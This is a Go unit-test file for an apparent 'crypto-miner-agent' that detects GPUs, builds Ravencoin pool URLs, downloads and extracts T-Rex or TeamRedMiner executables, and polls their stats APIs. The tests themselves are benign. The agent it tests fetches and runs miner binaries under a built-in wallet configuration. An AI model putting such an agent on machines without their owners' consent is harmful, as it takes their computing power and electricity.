package client import ( "archive/zip" "bytes" "encoding/json" "fmt" "net/http" "net/http/httptest" "os" "path/filepath" "testing" "time" "crypto-miner-agent/config" ) // ─── helpers ───────────────────────────────────────────────────────────────── func cfgWithGPU(wallet, poolHost string, port int) config.RuntimeConfig { b := config.GetBuiltinConfig() b.GPUEnabled = true b.RVNWallet = wallet b.RVNPoolHost = poolHost b.RVNPoolPort = port b.RVNPoolPass = "x" b.RVNPoolTLS = false return config.RuntimeConfig{BuiltinConfig: b} } // ─── newGPUMiner gate checks ────────────────────────────────────────────────── func TestNewGPUMinerGPUDisabled(t *testing.T) { b := config.GetBuiltinConfig() b.GPUEnabled = false b.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9" cfg := config.RuntimeConfig{BuiltinConfig: b} if g := newGPUMiner(cfg); g != nil { t.Fatal("expected nil when GPUEnabled=false") } } func TestNewGPUMinerNoWallet(t *testing.T) { b := config.GetBuiltinConfig() b.GPUEnabled = true b.RVNWallet = "" cfg := config.RuntimeConfig{BuiltinConfig: b} if g := newGPUMiner(cfg); g != nil { t.Fatal("expected nil when RVNWallet is empty") } } func TestNewGPUMinerNoGPUDetected(t *testing.T) { // On this machine there is no nvidia-smi / wmic GPU — should return nil. cfg := cfgWithGPU("RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", "rvn.2miners.com", 6060) // detectGPU will find no GPU on a headless CI box or dev machine without GPU. g := newGPUMiner(cfg) if g != nil { // A GPU was actually detected — not a test failure, just note it. t.Logf("GPU detected: %s (vendor=%v) — skipping nil-check", g.info.Model, g.info.Vendor) } // Either way, no panic — detection ran without crashing. } // ─── itoa ──────────────────────────────────────────────────────────────────── func TestItoaZero(t *testing.T) { if got := itoa(0); got != "0" { t.Fatalf("itoa(0) = %q, want \"0\"", got) } } func TestItoaPositive(t *testing.T) { cases := map[int]string{1: "1", 9: "9", 42: "42", 6060: "6060", 65535: "65535"} for n, want := range cases { if got := itoa(n); got != want { t.Errorf("itoa(%d) = %q, want %q", n, got, want) } } } func TestItoaNegative(t *testing.T) { if got := itoa(-5); got != "-5" { t.Fatalf("itoa(-5) = %q, want \"-5\"", got) } } // ─── buildPoolURL ───────────────────────────────────────────────────────────── func TestBuildPoolURLTCP(t *testing.T) { ep := rvnEndpoint{host: "rvn.2miners.com", port: 6060, tls: false} got := buildPoolURL(ep) want := "stratum+tcp://rvn.2miners.com:6060" if got != want { t.Fatalf("buildPoolURL(tcp) = %q, want %q", got, want) } } func TestBuildPoolURLTLS(t *testing.T) { ep := rvnEndpoint{host: "rvn.2miners.com", port: 16060, tls: true} got := buildPoolURL(ep) want := "stratum+ssl://rvn.2miners.com:16060" if got != want { t.Fatalf("buildPoolURL(tls) = %q, want %q", got, want) } } // ─── buildPoolList ──────────────────────────────────────────────────────────── func TestBuildPoolListPrimaryOnly(t *testing.T) { cfg := cfgWithGPU("RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", "rvn.2miners.com", 6060) g := &GPUMiner{cfg: cfg, info: GPUInfo{Vendor: GPUVendorNVIDIA}, stopCh: make(chan struct{})} pools := g.buildPoolList() if len(pools) != 1 { t.Fatalf("expected 1 pool, got %d", len(pools)) } if pools[0].host != "rvn.2miners.com" || pools[0].port != 6060 { t.Errorf("unexpected primary pool: %+v", pools[0]) } } func TestBuildPoolListWithBackups(t *testing.T) { b := config.GetBuiltinConfig() b.GPUEnabled = true b.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9" b.RVNPoolHost = "rvn.2miners.com" b.RVNPoolPort = 6060 b.RVNBackupPools = []config.BackupPool{ {Host: "ravenminer.com", Port: 3838}, {Host: "herominersrvn.com", Port: 1133}, } cfg := config.RuntimeConfig{BuiltinConfig: b} g := &GPUMiner{cfg: cfg, info: GPUInfo{Vendor: GPUVendorNVIDIA}, stopCh: make(chan struct{})} pools := g.buildPoolList() if len(pools) != 3 { t.Fatalf("expected 3 pools (1 primary + 2 backup), got %d", len(pools)) } if pools[1].host != "ravenminer.com" { t.Errorf("backup[0].host = %q, want ravenminer.com", pools[1].host) } } func TestBuildPoolListSkipsInvalidBackup(t *testing.T) { b := config.GetBuiltinConfig() b.GPUEnabled = true b.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9" b.RVNPoolHost = "rvn.2miners.com" b.RVNPoolPort = 6060 b.RVNBackupPools = []config.BackupPool{ {Host: "", Port: 0}, // invalid — no host or port {Host: "valid.pool", Port: 3333}, } cfg := config.RuntimeConfig{BuiltinConfig: b} g := &GPUMiner{cfg: cfg, info: GPUInfo{Vendor: GPUVendorNVIDIA}, stopCh: make(chan struct{})} pools := g.buildPoolList() if len(pools) != 2 { t.Fatalf("expected 2 pools (primary + 1 valid backup), got %d", len(pools)) } } // ─── avg ───────────────────────────────────────────────────────────────────── func TestAvgEmpty(t *testing.T) { if v := avg(nil, 5); v != 0 { t.Fatalf("avg(nil,5) = %f, want 0", v) } } func TestAvgAll(t *testing.T) { samples := []float64{10, 20, 30} if got := avg(samples, 3); got != 20 { t.Fatalf("avg([10,20,30],3) = %f, want 20", got) } } func TestAvgLastN(t *testing.T) { samples := []float64{100, 10, 20, 30} // last 3 = [10,20,30] → avg=20 if got := avg(samples, 3); got != 20 { t.Fatalf("avg(last 3) = %f, want 20", got) } } func TestAvgLastNExceedsLen(t *testing.T) { samples := []float64{5, 10} if got := avg(samples, 100); got != 7.5 { t.Fatalf("avg(last 100 of 2) = %f, want 7.5", got) } } // ─── apiPort ───────────────────────────────────────────────────────────────── func TestAPIPortNVIDIA(t *testing.T) { g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorNVIDIA}} if p := g.apiPort(); p != 4067 { t.Fatalf("NVIDIA API port = %d, want 4067", p) } } func TestAPIPortAMD(t *testing.T) { g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorAMD}} if p := g.apiPort(); p != 4068 { t.Fatalf("AMD API port = %d, want 4068", p) } } // ─── fetchMinerStats (mock HTTP) ───────────────────────────────────────────── func TestFetchMinerStatsTRex(t *testing.T) { srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { resp := trexSummary{ Hashrate: 42500000, GPUs: []struct { Temperature int `json:"temperature"` GpuLoad int `json:"gpu_load"` }{{Temperature: 65, GpuLoad: 88}}, } _ = json.NewEncoder(w).Encode(resp) })) defer srv.Close() var port int fmt.Sscanf(srv.URL[len("http://127.0.0.1:"):], "%d", &port) hr, tempC, usage, err := fetchMinerStats(GPUVendorNVIDIA, port) if err != nil { t.Fatalf("fetchMinerStats: %v", err) } if hr != 42500000 { t.Errorf("hashrate = %f, want 42500000", hr) } if tempC == nil || *tempC != 65 { t.Errorf("tempC = %v, want 65", tempC) } if usage == nil || *usage != 88 { t.Errorf("usage = %v, want 88", usage) } } func TestFetchMinerStatsTRM(t *testing.T) { srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { resp := trmStatus{ Algorithms: []struct { Name string `json:"algorithm"` TotalMHs float64 `json:"mhsh_total"` }{{Name: "kawpow", TotalMHs: 25.5}}, GPUs: []struct { TempC int `json:"temp_c"` Fan int `json:"fan_pct"` }{{TempC: 72, Fan: 60}}, } _ = json.NewEncoder(w).Encode(resp) })) defer srv.Close() var port int fmt.Sscanf(srv.URL[len("http://127.0.0.1:"):], "%d", &port) hr, tempC, _, err := fetchMinerStats(GPUVendorAMD, port) if err != nil { t.Fatalf("fetchMinerStats TRM: %v", err) } // 25.5 MH/s → 25_500_000 H/s if hr != 25.5e6 { t.Errorf("hashrate = %f, want %f", hr, 25.5e6) } if tempC == nil || *tempC != 72 { t.Errorf("tempC = %v, want 72", tempC) } } func TestFetchMinerStatsConnRefused(t *testing.T) { _, _, _, err := fetchMinerStats(GPUVendorNVIDIA, 59999) if err == nil { t.Fatal("expected error when miner API is not running") } } // ─── extractZipFile ────────────────────────────────────────────────────────── func makeSyntheticZip(t *testing.T, filename, content string) []byte { t.Helper() var buf bytes.Buffer zw := zip.NewWriter(&buf) fw, err := zw.Create(filename) if err != nil { t.Fatal(err) } if _, err := fw.Write([]byte(content)); err != nil { t.Fatal(err) } if err := zw.Close(); err != nil { t.Fatal(err) } return buf.Bytes() } func TestExtractZipFileHappyPath(t *testing.T) { data := makeSyntheticZip(t, "t-rex.exe", "fake-binary-content") dir := t.TempDir() if err := extractZipFile(data, dir, "t-rex.exe"); err != nil { t.Fatalf("extractZipFile: %v", err) } got, err := os.ReadFile(filepath.Join(dir, "t-rex.exe")) if err != nil { t.Fatalf("output file not created: %v", err) } if string(got) != "fake-binary-content" { t.Errorf("content = %q, want \"fake-binary-content\"", got) } } func TestExtractZipFileTargetInSubdir(t *testing.T) { // Zip contains "release/t-rex.exe" — extractor should find by Base name. var buf bytes.Buffer zw := zip.NewWriter(&buf) fw, _ := zw.Create("release/t-rex.exe") _, _ = fw.Write([]byte("nested")) _ = zw.Close() dir := t.TempDir() if err := extractZipFile(buf.Bytes(), dir, "t-rex.exe"); err != nil { t.Fatalf("extractZipFile (nested): %v", err) } if _, err := os.Stat(filepath.Join(dir, "t-rex.exe")); err != nil { t.Fatalf("output file missing: %v", err) } } func TestExtractZipFileMissingTarget(t *testing.T) { data := makeSyntheticZip(t, "other.exe", "data") dir := t.TempDir() // Should not error — just silently skip (caller checks with os.Stat). if err := extractZipFile(data, dir, "t-rex.exe"); err != nil { t.Fatalf("unexpected error: %v", err) } if _, err := os.Stat(filepath.Join(dir, "t-rex.exe")); !os.IsNotExist(err) { t.Fatal("target should not have been created") } } func TestExtractZipFileInvalidData(t *testing.T) { dir := t.TempDir() err := extractZipFile([]byte("not a zip"), dir, "t-rex.exe") if err == nil { t.Fatal("expected error for invalid zip data") } } // ─── spec / download URL format ─────────────────────────────────────────────── func TestSpecNVIDIA(t *testing.T) { g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorNVIDIA}} s := g.spec() if s.fileName != "t-rex.exe" { t.Errorf("NVIDIA spec.fileName = %q, want t-rex.exe", s.fileName) } if s.downloadURL == "" { t.Error("NVIDIA spec.downloadURL is empty") } } func TestSpecAMD(t *testing.T) { g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorAMD}} s := g.spec() if s.fileName != "teamredminer.exe" { t.Errorf("AMD spec.fileName = %q, want teamredminer.exe", s.fileName) } if s.downloadURL == "" { t.Error("AMD spec.downloadURL is empty") } } // ─── Stop() on a never-started miner ───────────────────────────────────────── func TestGPUMinerStopBeforeStart(t *testing.T) { g := &GPUMiner{stopCh: make(chan struct{})} done := make(chan struct{}) go func() { defer close(done) g.Stop() }() select { case <-done: case <-time.After(2 * time.Second): t.Fatal("Stop() hung when called before Start()") } } // ─── Stats returns zero until polled ───────────────────────────────────────── func TestGPUMinerStatsDefault(t *testing.T) { g := &GPUMiner{stopCh: make(chan struct{})} stats, active := g.Stats() if active { t.Error("active should be false before Start()") } if stats.Hashrate15s != 0 || stats.Hashrate1m != 0 { t.Errorf("unexpected non-zero default stats: %+v", stats) } }